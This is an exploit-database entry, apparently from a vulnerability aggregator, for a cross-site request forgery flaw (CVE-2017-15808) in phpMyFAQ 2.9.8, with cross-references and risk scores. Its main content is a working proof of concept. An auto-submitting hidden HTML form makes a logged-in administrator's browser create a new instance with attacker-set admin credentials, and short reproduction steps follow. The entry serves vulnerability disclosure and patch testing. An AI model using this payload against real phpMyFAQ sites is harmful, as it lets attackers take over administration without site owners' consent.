phpMyFaq 2.9.8 - Cross Site Request Forgery (CSRF)

🗓️ 03 Dec 2025 00:00:00Reported by CodeSecLabType

exploitdb🔗 www.exploit-db.com👁 132 Views

Cross site request forgery in phpMyFAQ 2.9.8 enables unauthorized admin actions (CVE-2017-15808).

Reporter	Title	Published	Views	Family All 12
Circl	CVE-2017-15808	16 Apr 202514:56	–	circl
CNVD	Cross-site request forgery vulnerability in phpMyFaq admin/ajax.config.php file	24 Oct 201700:00	–	cnvd
CVE	CVE-2017-15808	23 Oct 201717:00	–	cve
Cvelist	CVE-2017-15808	23 Oct 201717:00	–	cvelist
EUVD	EUVD-2017-7230	7 Oct 202500:30	–	euvd
NVD	CVE-2017-15808	23 Oct 201717:29	–	nvd
OpenVAS	phpMyFAQ < 2.9.9 Multiple XSS And CSRF Vulnerabilities	21 Sep 201700:00	–	openvas
OSV	CVE-2017-15808	23 Oct 201717:29	–	osv
Packet Storm	📄 phpMyFAQ 2.9.8 Cross Site Request Forgery	4 Dec 202500:00	–	packetstorm
Prion	Cross site request forgery (csrf)	23 Oct 201717:29	–	prion

# Exploit Title: phpMyFaq 2.9.8 - Cross Site Request Forgery (CSRF)
# Date: 2025-11-25
# Exploit Author: CodeSecLab
# Vendor Homepage: https://github.com/thorsten/phpMyFAQ/
# Software Link: https://github.com/thorsten/phpMyFAQ/
# Version: 2.9.8
# Tested on: Windows 10
# CVE : CVE-2017-15808


PoC: 
<html>
  <body>
    <form action="http://phpmyfaq/admin/index.php" method="GET">
      <input type="hidden" name="action" value="ajax">
      <input type="hidden" name="ajax" value="config">
      <input type="hidden" name="ajaxaction" value="add_instance">
      <input type="hidden" name="url" value="malicious">
      <input type="hidden" name="instance" value="malicious_instance">
      <input type="hidden" name="comment" value="CSRF Test">
      <input type="hidden" name="email" value="[email protected]">
      <input type="hidden" name="admin" value="attacker">
      <input type="hidden" name="password" value="password123">
      <input type="submit" value="Submit request">
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

Steps to Reproduce:
1. Save the following code as poc.html.
2. Log in phpmyfaq, and open the file in the same browser.
3. The outcome will occur.

03 Dec 2025 00:00Current

7High risk

Vulners AI Score7

CVSS 26.8

CVSS 38.8

EPSS0.00344